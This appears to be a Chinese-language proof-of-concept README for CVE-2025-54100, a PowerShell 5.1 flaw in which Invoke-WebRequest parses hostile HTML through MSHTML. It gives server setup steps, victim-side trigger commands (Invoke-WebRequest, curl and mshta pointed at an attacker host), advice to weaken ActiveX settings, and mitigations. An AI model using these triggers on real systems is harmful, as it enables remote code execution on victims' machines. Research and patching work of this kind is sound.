## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-THEMEHACKERS-CVE-2025-54100
# CVE-2025-54100 – PowerShell 响应解析 PoC
一个简洁的概念验证,展示**CVE-2025-54100** 如何通过恶意HTML解析在Windows PowerShell 5.1中导致远程代码执行(RCE)。
## Table of Contents
* 什么是CVE-2025-54100?
* PoC工作原理
* 快速开始
* 从受害者主机触发
* 故障排除与验证
* 证据
* 缓解措施
* 免责声明
* 参考资料
## 什么是CVE-2025-54100?
* **类型:** 当**未** 使用`-UseBasicParsing`时,`Invoke-WebRequest`中的命令注入
* **严重性:** CVSS 7.8(高)
* **根因:** 基于MSHTML的HTML响应解析允许在调用者上下文中执行脚本(例如`ActiveXObject`)。
* **影响范围:** 运行PowerShell 5.1的Windows 10/11和Windows Server 2008-2025。
## PoC工作原理
1. `CVE-2025-54100.py`中的FastAPI服务器提供一个精心构造的HTML载荷。
2. 该载荷尝试实例化`WScript.Shell` / `Shell.Application` ActiveX对象。
3. 在受影响的主机上,MSHTML解析器执行该脚本,通过启动`calc.exe`演示RCE。
4. 提供的载荷有意保持最小且无破坏性,但可修改以用于进一步研究。
## 快速开始
### 先决条件
* Python 3.10+(已使用FastAPI和Uvicorn测试)
* 安装依赖:
root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
### 运行恶意服务器
启动PoC HTTP服务器:
root@kitploit:~
uvicorn app:app --host 0.0.0.0 --port 8888 --reload
## 从受害者主机触发
在受影响(且**未** 使用`-UseBasicParsing`)的Windows机器上运行以下命令:
root@kitploit:~
# Invoke-WebRequest
Invoke-WebRequest -Uri "http://<attacker-ip>:8888"
# curl alias
curl http://<attacker-ip>:8888
# mshta
mshta http://<attacker-ip>:8888
使用与服务器配置相同的端口。如果存在漏洞,嵌入的脚本将通过MSHTML解析器执行。某些防病毒产品可能会阻止此行为,即使解析问题仍然存在。
## 故障排除与验证
如果`calc.exe`未弹出:
1. 在受害者主机上打开**Internet选项** 。
2. 转到**安全** → **自定义级别...**
3. 启用**“对未标记为可安全执行脚本的ActiveX控件初始化并执行脚本。”**
4. 重新运行不带`-UseBasicParsing`的`Invoke-WebRequest`。
> 这展示了执行向量。现实世界的载荷可能使用混淆或额外的绕过技术来规避默认限制。
## 证据

## 缓解措施
微软于2025年12月修复了此问题:
1. **在受影响的Windows主机上应用安全更新** 。
2. **使用`-UseBasicParsing`** 以避免MSHTML解析:
root@kitploit:~
Invoke-WebRequest -Uri "http://<attacker-ip>:8888" -UseBasicParsing
3. **迁移到PowerShell 7+** (pwsh),它不依赖MSHTML进行解析。
## 免责声明
> [!WARNING] 仅用于教育和授权测试。请负责任地使用并遵守所有适用法律。作者不对滥用或损害负责。
## 参考资料
* NVD:CVE-2025-54100
* MSRC:更新指南
* GitHub:osman1337-security/CVE-2025-54100